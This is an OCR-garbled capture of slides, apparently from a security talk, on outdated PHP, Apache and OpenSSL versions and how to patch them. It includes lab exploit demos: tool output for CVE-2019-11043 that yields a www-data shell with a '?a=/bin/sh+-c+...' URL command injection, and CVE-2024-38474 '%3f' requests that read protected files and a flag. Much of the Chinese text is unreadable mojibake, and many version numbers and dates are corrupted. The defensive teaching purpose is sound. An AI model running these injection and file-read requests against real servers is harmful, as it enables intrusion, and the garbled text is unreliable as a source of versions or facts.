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B = 2 9940

N
| zD-2026-00389 =isEk
FLE{7 } 774£ SQL Injection i&iE

| zD-2026-00275 N
SRE L= A PR A EI48sql injection

| zD-2026.00608 3R | 2D-2026-00271 A=
(Bount ZE IEABEERR A PN IR ST
| zD-2026-00607 FhEaz
(Bounty] StEsf | zD-2026-00270 NS
PEREBREZNE - GitLeak
| zD-2026-00403 2B EESEE
SELNEE SRTEMENIE 10 & Redis IREFFIUTHIES, AEEBNE
| zD-2026-00269 N
| zD-2026-00605 iR AR AR AN
HET XML ENEH IR XSS WEE
| zD-2026-00603 resr I ZD-2026-00267 2F
A R AR EIR A SEIEXSSEHE
| zD-2025-01441 B "
SRR CVE2024.4577 | zD-2026-00266 A
FEEER R RO EIRAS HuAXSSiERE
| zD-2026-00602 Fiiear
HE gitilEs

Source: https://zeroday.hitcon.org/vulnerability/page/4
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PHP Unsupported Version Detection

CRITICAL Nessus Plugin 1D 58987

Information

Synopsis

The remote host contains an unsupported version of a web application scripting language.

Description

According to its version, the installation of PHP on the remote host is no longer supported.

Lack of support implies that no new security patches for the product will be released by the vendor. As a
result, it is likely to contain security vulnerabilities.

Solution

Upgrade to a version of PHF that is currently supported.




Branch

81

8.0

14

7.3

12

7

70

5.6

55

Date

31 Dec 2025
(6 months ago)

26 Nov 2023
(2 years, 7 months ago)

28 Nov 2022
(3 years, 7 months ago)

6 Dec 2021
(4 years, 7 months ago)

30 Nov 2020
(5 years, 7 months ago)

1 Dec 2019
(6 years, 7 months ago)

10 Jan 2019
(7 years, 6 months ago)

31 Dec 2018
(7 years, 6 months ago)

21 Jul 2016
(9 years, 11 months ago)

Last Release Notes

81.34 A guide is available for migrating from PHP 8.1 to 8.2.
8.030 A guide is available for migrating from PHP 8.0 to 8.1.
7433 A guide is available for migrating from PHP 7.4 to 8.0.
73.33 A guide is available for migrating from PHP 7.3 to 7.4.
7.2.34 A guide is available for migrating from PHP 7.2 to 7.3.
7133 A guide is available for migrating from PHP 71 to 7.2.

7.0.33 A guide is available for migrating from PHP 7.0 to 71.

5.6.40 A guide is available for migrating from PHP 5.6 to 7.0.
5.5.38 A guide is available for migrating from PHP 5.5 to 5.6.

https://www.php.net/eol.php




Currently Supported Versions

Branch Initial Release Active Support Until Security Support Until Notes

8.2 8 Dec 2022  3years, 7 months ago 31Dec2024 1year, 6 months ago 31Dec 2026 in5 months Migration guide for PHP 8.2
83 23 Nov 2023 2 years, 7 months ago 31 Dec 2025 6 months ago 31Dec 2027 in1year,5 months  Migration guide for PHP 8.3
8.4 21 Nov 2024  1year, 7 months ago 31 Dec 2026 in 5 months 31Dec 2028 in 2 years, 5 months Migration guide for PHP 8.4
85 20 Nov 2025 7 maonths ago 31Dec 2027 in1year, 5 months 31Dec 2029 in 3 years, 5 months Migration guide for PHP 8.5

Or, visualised as a calendar:

1Jan 2023 1Jan 2024 1Jan 2025 1Jan 2026 1Jan 2027 1Jan 2028 1Jan 2029 1Jan 2030

Today: 10 Jul 2026

Key

Active support A release that is being actively supported. Reported bugs and security issues are fixed and regular point releases are made.

Security fixes only A release that is supported for critical security issues only. Releases are only made on an as-needed basis.

End of life A release that is no longer supported. Users of this release should upgrade as soon as possible, as they may be exposed to unpatched security vulnerabilities.

https://www.php.net/supported-versions.php




g0 PHP 7.4 > PHP 8.3
E&ﬂ AR Ol EEERE

Fatal error

Deprecated APIs
Changed type behavior
Dependency conflict
Framework incompatibility
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php Downloads Documentation  Get Involved

Preface : Appendices

Change language: [ English

Migrating from PHP 7.4.x to PHP 8.0.x

Table of Contents

New Features

» New Classes and Interfaces
Backward Incompatible Changes
Deprecated Features

Other Changes

This new major version brings with it a number of new features and some incompatibilities that should be tested for before switching PHP
versions in production environments.

https://www.php.net/manual/en/migration80.php
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5 (Mitigation)

BRHIZIR 1P

8 P FE N AR F5

MN5E WAF & B2 ZE Rl

HEE BT RARE SEITEMETE
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& S5%EET : CVE-2019-11043
AXCVE-2019-11043 Detail

Description

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it is possible to cause FPM
module to write past allocated buffers into the space reserved for FCGI protocol data, thus opening the possibility of remote code execution.

Metl'l CS CVSS5 Version 4.0 CVSS Version 3.x CV55 Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.
CVSS 3.x Severity and Vector Strings:

@ NIST: NVD Base Score:

ﬁ CNA: PHP Group Base Score: |G Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/1:H/A:H

13 https://nvd.nist.gov/vuln/detail/cve-2019-11043
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PHP <7.1.33/7.2.x<7.2.24 / 7.3.x <7.3.11 Remote Code
Execution Vulnerability.

CRITICAL Messus Plugin 1D 130276

Information

Synopsis

An application installed on the remote host is affected by a remote code execution vulnerability.

Description

According to its banner, the version of PHP running on the remote web server is prior to 7.1.33, 7.2.x prior to
7.2.24, or 7.3.x prior to 7.3.11. It is, therefore, affected by a remote code execution vulnerability due to
insufficient validation of user input. An unauthenticated, remote attacker can exploit this; by sending a
specially crafted request, to cause the execution of arbitrary code by breaking the fastcgi_split_path_info
directive.

Solution

Upgrade to PHP version 7.3.11 or later.



+

O localhost

KaliLinux # KaliTools = KaliDocs P Kali Forums e Kali Nett
o Wappalyzer

hello world

TECHMOLOGIES

Web servers Reverse proxies

© Nginx 1312 ® Nginx 1312

Programming languages

shp PHP 7.270

Something wrong or missing?

Bring website technologies into your workflow ~

Keep records updated automatically so sales and marketing
can prioritize the right accounts and send more relevant

outreach.

Automate enrichment =
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II\; En\_‘} $}tl: '/fi- ( RC E )

s :Ddﬂ RGJ +D: gsl=1800@, adding : ate
.“get is probably vulnerable. Pos [1798 1795 188@]
k params found: -—gsl 1795 -——piso ) 2 ip-detect
4 tD set "Jﬂaﬁian auto_ Jt4xt=@
—gsl 1795 i 2 —skip-detect «— REMEMBER THIS
orming 4ttack using php ini Jﬂttlﬂgg."
execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs

9 Done!
x +

localhost
7= KaliTools = KaliDocs X Kali Forums e Kali NetHunter Exploit-DB

uid=33(www-data) gid=33(www-data) groups=33(www-data) hello world

Google Hacking DB
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 99FhIREY : CVE-2024-4577

- PHP LS 10 E B 208 Windows {3 % M7 T G1E S8
%0 Best-Fit ST - BRXZAMGRE RS ENT 54
@MER CVE-2012-1823 HUR:E

>+ =5 B2 ?ﬁl?
> L ':_l"/ =

=0m PHP afkes ETESEI0HE (RCE)
Apache and PHP-CGI on Windows

if the system is set up to use certain code pages

> soERRZR

- 8.1." before 8.1.29
8.2." before 8.2.20
8.3." before 8.3.8

Source:https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/ ‘/1’/



C:\Users\taccst>curl -I http://localhost

HTTP/1.1 382 Found

Date: Thu, 16 Jul 2826 64:28:32 GMT

Server: Apache/2.4.58 (Win6u4) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12

Location: http://Llocalhost/dashboard/
Content-Type: text/html; charset=UTF-8
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International PHP Conference Munich 2026

Downloads & Installation Instructions

I work with [Windows v|[ZIP Downloads ~v|, and use | default PHP version for 05 v|

| want to be able to use multiple PHP versions: [

| want to compile everything from source: [J

Instructions

Architecture
It is recommended to use x64 builds of PHP as almost all Windows installations currently support x64.
Thread Safety

NTS builds are for single-threaded use cases, typically PHP running via FastCGI or on the CLI. TS builds support multithreaded SAPIs and are
intended for PHP loaded as a web server module. So, if you want to use PHP as FastCGl with I1S, use the Non-Thread Safe (NTS) builds of PHP,
or if you want to use the Apache HTTP Server, use the Thread Safe (TS) builds of PHP.

Visual Studio Versions

The builds below are built using Visual Studio 2019 (VS16) or Visual Studio 2022 (VS17) compiler. They require the Visual C++ Redistributable for

Visual Studio 2015-2022 x64 or x86 installed.

https://www.php.net/downloads.php?os=windows




lindows PHP RS (2/2)

L]

~1

.
-

v -9

VS17 x64 Thread Safe
2026-Jul-01 04:35:03 UTC

Zip 34.27MB
sha256: a7323e50a1e29fddc278d9297ca%4ec134bd1ccab396af39115284a125cab2f

Debug Pack 4oms
sha256: 9a%9a921babec76015166ad1114e960d2e6300c2a24a45aa44/47/9dcdde542313

Development package (SDK to develop PHP extensions) 1.66MB
sha256: ca335c955311141ded17f08f4bab4c7cbd8b62728f8add0cf3406e137f09f564

20




JENRPHPE 3 32

xampp X +
& ) T ] L » =% > ESEBC) > xampp O
® #m - &% @ @D W NoHEr =R -
= - o :_,:U - iy
~ =8 =1 [Ed=k b=hil) F
mailtodisk 2026/7/16 EF 11:43 EEERNE
R E=
mysq| 2026/7/16 L 11:43
> OneDn
@ OneDrive php 8.2.2 2026/7/16 L% 11:45
php 2026/7/16 F= 12:25
i EE » src 2026/7/16 £ 1143
A+ T * tmp 2026/7/16 L5 1143
=7 » webdav
[&] apache_start 1 KB
M ER » pacne-
[%] apache_stop 1 KB
g == »
[%] catalina_service 1 KB
=]
> R ’ [%] catalina_start 4 KB

21




< > T C J > =8 > EEER(C) > xampp > php

@ # - &% B ®B W @ Nag- =w@E- .-
- e EmAm A il
O =H
R == _ dev 2026/7/16 TS 1225 EEEHE
T ext 2026/7/16 F=12:25 EREH%
» @ OneDrive
_ extras 20268/7/16 T 12:25 EEEHE
~ lib 2026/7/16 F=12:25 EREH%
o =E o | php.ini 2026/7/16 T 12:30  EERE 76 KB
4 T » brotlicomman.dll 2026/7/16 T 1225 EEETEXR 184 KB
g x# » brotlidec.dll 2026/7/16 T 1225 ERESER 90 KB
W EE » deplister.exe 2026/7/16 T 12:25 EFEE 138 KB
lib-2.dlI 2026/7/16 T+ 1225 EEESER 1,758 KB
O == » o
gmodule-2.dIl 2026/7/16 T512:25 EEESER 20 KB
b e »
gobject-2.dIl 2026/7/16 T+ 1225 EEESER 314 KB
h » . e
- PR icudt77.dll 2026/7/16 T 1225 EEERER 31,151 KB
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error.log

RE

Lliw Jul 1y

&

A

e
1238
e 15

Lo 080 DL L AIEL

rfesumning normal operations

[Thu Jul 16
[Thu Jul 16
[Thu Jul 16
[Thu Jul 16
matches the
[Thuo Jul 16
matches the
[Thu Jul 16
[Thu Jul 16
matches the
[Thu Jul 16
of previons
[Thu Jul 16
matches the
PHP Warning:

12:20:16.750590
12:20:16.750590
12:20:16.802423
12:20:25 868222
servel nane
12:20:25.990560
servel nane
12:20:26 102651
12:36:13.333485
servel nane
12:36:13.420709
bpache run?
12:36:13.423374

Selvel nals

2026]

pache 5 &7

LApaie_ W1l LslwL1ce | [Pp1a #uoLin Sou | anuus 00 ApPdclle L s Lo LW LIV ) UPelldal oLl AN PG & LS CUlll T gulen --

[mpm_winnt:notice] [pid 96:t1d 480] AHOQ456: Apache Lonnge V317 Server bunilt: Oct 18 2023 13:03:18
[core:notice] [pid 96:tid 4807 AHOOO94: Command line: 'c:'\\xampphlapache''bin'\httpd.exe -d C:fxanppfapache’
[mpm_winnt:notice] [pid 96:t1d 480] AHOQ412: Parent: Created child process 7316

[ssl:warn] [pid 7316:t1d 472] AHO1909: www.exanple.com:443:0 server certificate does NOT include an ID which
[z=]l:warn] [pid 7316:41d 472] AHO1909: www.examnple.com:443:0 server certificate does NOT i1nclude an ID which

[mpm_winnt:notice] [pid 7316:t1d 472] AHOO3534: Child: Starting 150 worker threads.
[ssl:warn] [pid 2600:ti1d 442] AHO1909: www.exanple.com:443:0 server certificate does NOT include an ID which

[core:warn] [pid 8600:tid 44871 AHOO098: pid file C:fxanppfapacheflogsfhttpd.pid overwritten -- Unclean shutdown

[z=s]l:warn] [pid 2600:t1d 4481 AHO1909: www.example.com:443:0 server certificate does NOT i1nclude an ID which

o

WINDOWS A ASTSTEMSZAVVVCRUNTINET40 . d 11T

14.36 15 not compatible with this PHP build linked with 14.44 in Unkoown on line O

[Thu Jul 16 12:36:13.547018 20261 [:emerg] [pi1d 8600:t1d 4431 AHOOQZ0: Configuration Failed, exiting

C:\Windows\System32>dir | findstr -i VCRUNTIME

2023/85/18 L+t €7:01 109,448 vecruntimelde.dll
2023/85/18 07:01 49,568 vcruntimelde_1.dll
2025/89/16 03:41 38,944 vcruntimelde_1_clreuee.dll
2025/89/16 98,8uU8 vcruntimeld®_clredee.dll

Ie=
inls
t4 e3:u1
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4R Y ¢ & 2 php.net/downloads.php?os=windows

Downloads & Installation Instructions

| work with | Windows v || ZIP Downloads v|, and use | default PHP version for 0Sv|

| want to be able to use multiple PHP versions: [

| want to compile everything from source: [

Instructions

Architecture

It is recommended to use x64 builds of PHP as almost all Windows installations currently support x64.

Thread Safety

NTS builds are for single-threaded use cases, typically PHP running via FastCGl or on the CLI. TS builds support multithreaded SAPIs and are
intended for PHP loaded as a web server module. So, if you want to use PHP as FastCGl with 1IS, use the Non-Thread Safe (NTS) builds of PHP,

or if you want to use the Apache HTTP Server, use the Thread Safe (TS) builds of PHP.

Visual Studio Versions

The builds below are built using Visual Studio 2019 (VS16) or Visual Studio 2022 (VS17) compiler. They require the Visual C++ Redistributable for
Visual Studio 2015-2022 x64 or x86 installed.

24



j{{'}‘ Microsoft Visual C++ 2015-2022 Redistributable (x64) -... — X

Microsoft Visual C++ 2015-2022
Redistributable (x64) - 14.44.35211

MICROSOFT & % |

MICROSOFT VISUAL C++ 2015 - 2022 HiTRS R

FiE#Re 25 A P A Microsoft Corporation (SEEREMEE 2, REMFAR
BFEIHEmME) FHEETASH - RINREAR AR - FEEIEIT

B EEESEEIRESRQA)

o == BHEH(O)

C:\Windows\System32>dir | findstr -i VCRUNTIME

2025/06/11 L 85:21 124 544 veruntimelde.dll
2025/06/11 + 95:21 49,792 vecruntimelde_1.d1l
2025/09/16
2825/89/16
2025/086/11

T

83:41 38,944 vcruntimelds_1_clredes.dll
83:41 08,848 vcruntimeldd_clredes.dll
85:21 38,528 vcruntimeld®_threads.dll

e e
i
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‘jEJ Microsoft Visual C++ 2015-2022 Redistnbutable (x86) -... — e

Microsoft Visual C++ 2015-2022
Redistributable (x86) - 14.44.35211

MICROSOFT B # &S
MICROSOFT VISUAL C++ 2015 - 2022 S TSR

FiEirE 28R FE Microsoft Corporation (EEE1{EE%. RMEMFH
BRI EmE) SR EISE - iR F IR - FIFEIEEIT

L HEEESEEIREEA)
== B0




Ezlbi=F

error.log * +

php.ini

—_

EB= iBEE BiR
matches the server name
PHP Warning: PHP Startup: Unable to load dynamic library 'curl' {tried: C:itxampphiphpilextiicurl (xef'x89%xhe \xed \xb2x2d bxel ix88 \xb0 \xeb inic
BT YweSxae bxfa e W% x84 bxebixal ixal hxeT bxb S W84 \xa3 80 82y, Coh\xanpp b bphpVhext\Viphp_curl.dll (txef\x89 \xbe xed \xb8 \x8d \xed 288 \xb0 \xeb
WBe BT e S xas WxPa hue T ha0a W84 haef \xal thxa L e Thab 5 Vx84 hxe 3080 W22 )Y in Unknown on line 0
PHP Warning: Cannot open "C:'%veamppdiphpllextras\ibrowscap.ini" for reading in Unkoown oo line 0
PHP Fatal error: Unable to start standard module in Unknown on line 0VnStack trace:\n#0 {main)
[Thu Jul 16 1Z2:47:08.162620 202671 [ssl:warn] [pid 523Z2:1t:1d 448] AHOI909: www.exanple.com:443:0 server certificate does NOT include an ID which
matches the server name
[Thu Jul 16 12:47:08.235753 2026] [core:warn] [pid 5252:tid 448] AHOOO9Z: pid file C:ixanppifapacheflogsfhttpd.pid overwritten -- Unclean shutdown
of previous Apache run?
[Thu Jul 16 1Z2:47:08.238693 Z026] [ssl:warn] [pid 2323Z2:t1d 4487 AHO1Q09: www_ exanple.com:443:0 server certificate does NOT include an ID which
matches the server name
PHP Warning: FPHP Startup: Unable to load dyoamic library ‘curl' ¢tried: C:Viwampphphpedlextihounrl (xef'x80%xhe \xed Wb hx8d hwed W88 \vubD xeb \uie
\x%?\xeS\xae\an\xe?\xga\x84\xeﬁ\xa8\xal\xe?\xb5\x84\x93\x80\x82} g Whxanpp Viphphhexthiphp_curl.dll (hxefix89%xbe ixed \xbd \x8d \xe 5 \x88 \xh0 xeb

e elmewa—sn—tine-—o——

"J‘\ |’"| .-1'- R'l 1\ '?'l 'LlI'l .-1\

o~ & @

P a——

PHP Wérn1ﬁg Canmot. Dpen s \\xampp\\php\\extras\\hrnwscap ini' %DI reading in Unknown on line O
PHE Fatal error: Unahle to start standard module in Unknown on line 0'nStack trace:'n#0 fmain}

[Tho Tl To T2 49T SIS 2020 T Tesliwarn [ [pid [980tod 45T ARUTUUN yww exanp [e con: 4450 server certificate does NOT include an ID which
matches the server name

BE ®E &R

honath.scale=0

[browscap]
: https:/Sohe net/hrowscan

shrowscap="C: \xanpp\phplextrasihrowscap.ini"
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GIKE AT

C:\Users\taccst>curl -I http://localhost

HTTP/1.1 362 Found

Date: Thu, 16 Jul 20826 64:56:88 GMT

Server: Apache/2.4.58 (Wins64) OpenSSL/3.1.3 PHP/8.5.8
X-Powered-By: PHP/8.5.8

Location: http://localhost/dashboard/

Content-Type: text/html; charset=UTF-38




N o.\ X
Ceo % SRS o \
&\ BOoR” ;
oy o QO
¥ o Yot /
"\ %
', e >
'.:o Y/ ’\.'._
5 »
\'o:o.'~ i 4 R | ]
o’\'&\.!. & vd ——
B NP 1
NS o RN . / \
3%
% «
. e < Va ¢
D/ 2

. SRR R 2E 1T RN A

. £ Fapt updateE1T E

. OJEBFEHPHPEEMABEHR

. B AERERNEESIER
. ETREINEIREN

28



Apache 2.4.x < 2.4.60 Multiple Vulnerabillities

_@HEF'IJ.IK%E
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AECVE-2024-38474 Detail
MODIFIED AFTER ENRICHMENT

This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require

amendment due to these changes.

Description A %3F & RewriteRule &MY 1AV B &R

Substitution encoding issue in mod_rewrite in Apache HTTP Server 2.4.59 and earlier allows attacker to execute scripts in directories
permitted by the configuration but not directly reachable by any URL or source disclosure of scripts meant to only to be executed as CGI. Users
are recommended to upgrade to version 2.4.60, which fixes this issue. Some RewriteRules that capture and substitute unsafely will now fail

unless rewrite flag "UnsafeAllow3F" is specified.

-
MetrICS CVS5 Version 4.0 CVSSVersion 3.x CVS5 Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources s also displayed.

CVSS 3.x Severity and Vector Strings:

@ NIST: NVD Base Score: [N Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ADP: CISA-ADP Base Score: |[EIRIGH) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
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AXCVE-2024-38475 Detail

Ty
cfS

e

Description URL fEE R EiE T A E R 1A
Improper escaping of output in mod_rewrite in Apache HTTP Server 2.4.55 and earlier allows an attacker to map URLSs to filesystem locations
that are permitted to be served by the server but are not intentionally/directly reachable by any URL, resulting in code execution or source

code disclosure. Substitutions in server context that use a backreferences or variables as the first segment of the substitution are affected.

some unsafe RewiteRules will be broken by this change and the rewrite flag "UnsafePrefixStat" can be used to opt back in once ensuring the
substitution is appropriately constrained.

Metl'l CS CVSS Version 4.0 CVSS Version 3.x CVSS Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.
CVSS 3.x Severity and Vector Strings:

@ NIST: NVD Base Score: [N Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
ADP: CISA-ADP Base Score: Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
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‘B 55857 Apachehli A

3  CVE-2024-38474 x| +

localhost

CVE  CVE-2024-38474 - Get the content of fusr/share/flag.txt

Apache config
TECHNOLOGIES

DocumentRoot

RewriteRule ~/d Web servers
Apache HTTP Server

Build prospect lists -

Programming languages

& php PHP 8219
2.459
Operating systems
(@ Debian
200 hing_ wrong_or missing?
Turn quick research into ready-to-use lists A

Go beyond one-off lookups with prospect lists your team can

sort, export, and use to prioritize the right accounts.
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v/'é

|—‘—|

Apachenz

Is_él_zl
==

RewriteEngine On

RewriteRule */doc/(.*)$ /$1.pdf [L]

RewriteRule */doc/(.*)$ /$1.pdf [L] 24TEE?

iER—1% Apache mod_rewrite #38! » FAZKIE /doc/ BERTAIZEXK » A REER .pdf R -

— GET /doc/test
Host: example.com

.g.

‘.

ERER

33

7

Apache (mod_rewrite)

RewriteRule ~/doc/(.*)$ /$1.pdf [L]

1. ~/doc/(*)$ ELELL /doc/ BASERY URL -
TIBEEOAS (%) ZFE $1

2. /$1.pdf EEBIBBNASMLE pdf
3. [L] RE—FRA » FILREBEGERRA

HIRBRBIERIESR

LS

test.pdf
(R #Aua1R B £%)

EfSiaERE




localhost

+ Automatic Zoom

rootg5de350bcebid:
total 84
dr

Ly

Demo pdf

7
1
1
1
1
1

e e =
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47 (CVE-2024-38474)

404 Mot Found x +

C @ localhost

Not Found

The requested URL was not found on this server.

EE) AR B 8 R demo. et pdf (X)

Apache/2.4.59 (Debian) Server at localhost Port 8049

... [authz_core:error] ...client denied by server (3 localhost:8049/doc/demo.tx X +
configuration: /test.pdf
<« C @ O 0 localhost

This is the content of demo.txt

1 % 3f&u .pdf FRAIPRS! - oI 7 ENE txt 13
35



£+ 780 Apache (Debian Linux) 58 14

apache2.conf

<Directory />
Options FollowSymLinks
AllowOverride None
Regquire all denied
</Directory>

<Directory /usr/share>
AllowOverride None
Require all granted

</Directory>




+ ZEEH
B 1. SEEEEVR B #xMtest.pdf (/test.pdf)
acalnos

2. HEEIMEILR B 3% T Atest.pdf
Forbidden (/var/www/html/test.pdf

You don't have permission to access this resource.

Apache/2.4.59 (Debian) Server at localhost Port 8049

S S htmleE 1s -al grep test.pdf
wi /html# cd /

grep test.pdf
t 15884 Jul 11 18:38 test.pdf
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localhost

— 4+ Automatic Zoom

The content of test2. pdf

Demo for CVE-2024-39475

root@B8dcee5f3cd@6: fusr/shareff 1s -al grep test2.pdf
-rw-r—r— 1 root root 18973 Jul 11 18:55 test2.pdf *

... "GET /docl/usr/share/test2 HTTP/1.1" 200 19267 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/146.0.0.0 Safari/537.36"
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At

S EE T

404 Not Found x  +

@ localhost

Not Found

The requested URL was not found on this server.

Apache/2.4.59 (Debian) Server at localhost Port 8049

3 localhost:8049/docjusr/shar X  +

« @ localhost

This is the secret flag!
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localhost

L )
Forbidden
You don't have permission to access this resource. RS

Apache/2.4.67 (Debian) Server at localhost Port 8050
Web servers Operating systems
p, Apache HTTP Server © Debian
2.4.67

Something wrong or missing?

40
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pache iR AR Fr#k1& (2/3)

Sat Jul 11 05:08:11.643531 2026] [rewrite:error] [pid 17:tid 17]
[client 172.24.0.1:38162] AH10508: Unsafe URL with %3f URL
rewritten without UnsafeAllow3F

[11/Jul/2026:05:08:11 +0000] "GET /doc/usr/share/flag.txt%3f
HTTP/1.1" 403 533 "-" "Mozilla/5.0 (X11; Linux x86_64;
rv:140.0) Gecko/20100101 Firefox/140.0"

41




he R A FT &R 12 (3/3

important: Apache HTTP Server weakness with encoded question marks in backreferences (CVE-2024-38474)

Substitution encoding issue in mod_rewrite in Apache HTTP Server 2.4 59 and earlier allows attacker to execute scripts in directories permitted by the configuration but not directly reachable by any
URL or source disclosure of scripts meant to only to be executed as CGI.

Users are recommended to upgrade to version 2.4.60, which fixes this issue.

Some RewriteRules that capture and substitute unsafely will now fail unless rewrite flag "UnsafeAllow3F" is specified.

Acknowledgements: finder: Crange Tsai (@orange_8361) from DEVCORE

Reported to security team 2024-04-01
fixed by r1918561 in 2.4.x 2024-07-01
Update 2.4.60 released  2024-07-01
Affects 2.4.0through 2.4.59

important: Apache HTTP Server weakness in mod_rewrite when first segment of substitution matches filesystem path. (CVE-2024-38475)

Improper escaping of output in mod_rewrite in Apache HTTP Server 2.4.59 and earlier allows an attacker to map URLs to filesystem locations that are permitted to be served by the server but are
not intentionally/directly reachable by any URL, resulting in code execution or source code disclosure.

Substitutions in server context that use a backreferences or variables as the first segment of the substitution are affected. Some unsafe RewiteRules will be broken by this change and the rewrite
flag "UnsafePrefixStat” can be used to opt back in ance ensuring the substitution is appropriately constrained.

Acknowledgements: finder: Orange Tsai (@orange_8361) from DEVCORE

Reported to security team 2024-04-01
fixed by r1918561 in 2.4.x 2024-07-01
Update 2.4.60 released  2024-07-01
Affects 2.4.0 through 2.4.59

42 https://httpd.apache.org/security/vulnerabilities_24.html




OpenSSL 3.0.0 < 3.0.20 Multiple Vulnerabilities
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OpenSSL 3.0.0 < 3.0.20 Multiple Vulnerabilities Solution

CRITICAL Nessus Plugin 1D 305202 _ . . -
Upgrade to OpenSSL version 3.0.20 or later.

Information

Synopsis

The remote service is affected by multiple vulnerabilities.

Description

The version of OpenSSL installed on the remote host is prior to 3.0.20. It is, therefore, affected by multiple
vulnerabilities as referenced in the 3.0.20 advisory.

- Issue summary: Converting an excessively large OCTET STRING value to a hexadecimal string leads to a
heap buffer overflow on 32 bit platforms. Impact summary: A heap buffer overflow may lead to a crash or
possibly an attacker controlled code execution or other undefined behavior. If an attacker can supply a
crafted X.509 certificate with an e ively large OCTET STRING value in extensions such as the Subject
Key Identifier (SKID) or Authority Key Identifier (AKID) which are being converted to hex, the size of the buffer
needed for the result is calculated as multiplication of the input length by 3. On 32 bit platforms, this
multiplication may overflow resulting in the allocation of a smaller buffer and a heap buffer overflow.
Applications and services that print or log contents of untrusted X.509 certificates are vulnerable to this
issue. As the certificates would have to have sizes of over 1 Gigabyte, printing or logging such certificatesisa
fairly unlikely operation and only 32 bit platforms are affected, this issue was assigned Low severity. The FIPS
modules in 3 5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the
OpenSSL FIPS module boundary. Fixed in OpenSSL 3.3.7 (Affected since 3.3.0). (CVE-2026-31789)




Ubuntu Security Notice (Ubuntu ZZ 2%

USN-8414-1: OpenSSL vulnerabilities

Publication date 9 June 2026

Overview Several security issues were fixed in OpenSSL.
(26.04175) (25.10) (24.041T5) (22.041TS)

Releases

Packages

openssl - Secure Socket Layer (SSL) cryptographic library and tools

45
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Details

Frank Buss discovered that OpenSSL had a heap buffer over-read in ASN.1
content parsing. An attacker could possibly use this issue to cause OpenSSL
to crash, resulting in a denial of service, or obtain sensitive

information. (CVE-2026-34180)

Pavol Zacik and Alex Gaynor discovered that OpenSSL incorrectly accepted
PKCS#12 files with short HMAC keys when using PBMAC1. An attacker could
possibly use this issue to bypass integrity checks. This issue only

affected Ubuntu 25.10 and Ubuntu 26.04 LTS. (CVE-2026-34181)

Asim Viladi Oglu Manizada and Alex Gaynor discovered that OpenSSL could
accept forged CMS AuthEnvelopedData messages. An attacker could possibly
use this issue to bypass message authentication checks. (CVE-2026-34182)




The problem can be corrected by updating your system to the following
package versions:

UBUNTU RELEASE PACKAGE VERSION

26.04 LTS resolute libssl3t64 — 3.5.5-1ubuntu3.2
openssl— 3.5.5-1ubuntu3.2

25.10 questing libssl3t64 — 3.5.3-1ubuntu3.4

openssl- 3.5.3-1ubuntu3.4

24.04 LTS noble libssl3t64 — 3.0.13-0ubuntu3.11

openssl— 3.0.13-0ubuntu3.11

22.04 LTS jammy libssl3 - 3.0.2-Oubuntu1.25

openssl— 3.0.2-0ubuntu1.25
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.

/

. Linux 3£ (Ubuntu)
. openssl version -a

: S openssl version -a

OpenSSL 3.0.13 30 Jan 2024 (Library: OpenSSL 3.0.13 30 Jan 2024)

: Tue Aug 20 17:05:36 2024 UTC

: debilan-amd64

bn(64,64)

: gcc -fPIC -pthread -m64 -Wa,--noexecstack -Wall -fzero-call-used-regs=used-gpr -DOPENS
SL_TLS SECURITY LEVEL=2 -Wa,--noexecstack -g -02 -fno-omit-frame-pointer -mno-omit-leaf-frame-po
inter -ffile-prefix-map=/build/openssl-WgbgpY/openssl-3.0.13=., -fstack-protector-strong -fstack-
clash-protection -Wformat -Werror=format-security -fcf-protection -fdebug-prefix-map=/build/open

ssl-WgbgpY/openssl-3.0.13=/usr/src/openssl-3.0.13-0ubuntu3.4 -DOPENSSL USE NODELETE -DL_ENDIAN -
DOPENSSL_PIC -DOPENSSL_BUILDING OPENSSL -DNDEBUG -Wdate-time -D_FORTIFY_ SOURCE=3

OPENSSLDIR: "/fusr/lib/ssl"

ENGINESDIR: "/usr/lib/x86 64-1inux-gnu/engines-3"

MODULESDIR: "/usr/lib/x86 64-linux-gnu/ossl-modules”

Seeding source: os-specific

CPUINFO: OPENSSL ia32cap=0xfffa32034f8bffff:0x9840079c219c27eb
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22 (2/2)

: S dpkg-query -W -f='S{Package} S{Version}\n' openssl libssl3t64
3.0.13-0ubuntu3.5
.0.13-0ubuntu3.5

E1%  libssI3t64 (3.6.3-1 LIKEAMAY)

Secure Sockets Layer toolkit - shared libraries

This package is part of the OpenS5L project's implementation of the 551 and TLS cryptographic protocols for secure communication over the Internet.

It provides the libssl and libcrypto shared libraries.

OpenSSL HFK T E
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: S sudo apt update
sudo apt install --only-upgrade openssl libssl3
[sudo] password for frank:
Hit:1 http://tw.archive.ubuntu.com/ubuntu noble InRelease
Get:2 http://tw.archive.ubuntu.com/ubuntu noble-updates InRelease [126 kB]
Get:3 http://tw.archive.ubuntu.com/ubuntu noble-backports InRelease [126 kB]
Get:4 http://tw.archive.ubuntu.com/ubuntu noble-updates/main amd64 Packages [1,096 kB]
http://tw.archive.ubuntu.com/ubuntu noble-updates/main Translation-en [270 kB]
http://tw.archive.ubuntu.com/ubuntu noble-updates/main amdé64 Components [180 kB]
http://tw.archive.ubuntu.com/ubuntu noble-updates/main Icons (48x48) [37.3 kB]
